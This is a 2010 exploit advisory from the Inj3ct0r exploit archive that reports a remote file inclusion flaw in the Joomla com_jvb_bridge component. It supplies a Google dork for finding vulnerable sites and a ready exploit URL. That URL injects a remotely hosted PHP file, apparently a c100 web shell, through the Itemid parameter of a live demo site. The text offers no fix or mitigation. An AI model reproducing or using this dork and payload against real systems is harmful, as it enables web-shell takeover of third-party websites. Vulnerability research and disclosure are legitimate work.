Joomla JVB Bridge Remote File Inclusion

` =============================================  
Joomla com_jvb_bridge RFI Vulnerability  
=============================================  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ########################################## 1  
0 I'm Sid3^effects member from Inj3ct0r Team 1  
1 ########################################## 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
Name : Joomla com_jvb_bridge RFI Vulnerability  
Date : june, 20 2010  
Critical Level : HIGH  
Vendor Url : http://www.joomplace.com/bridges/vbulletin-module---latest-posts.html  
Google Dork:inurl:com_jvb_bridge  
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>  
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,gunslinger_  
greetz to :All ICW members and my friends :) luv y0 guyz   
#######################################################################################################  
Description:  
Using this joomla module you will have the lastest posts from vBulletin forum shown on your web site.  
  
It is possible to switch the module to either extended view (that will show threads from different forums in tabs) or simple mode (with no division to tabs). And it is possible to show latest threads from the whole forum without adding specific subforums to the component's config.   
###############################################################################################################  
  
Xploit: RFI Vulnerability  
  
com_jvb_bridge suffers from a RFI vulnerability :)  
  
DEMO URL : http://demo.joomplace.com/index.php?option=com_jvb_bridge&Itemid=%272#http://nafeesnursery.com/images/c100.php  
  
  
###############################################################################################################  
# 0day no more   
# Sid3^effects   
`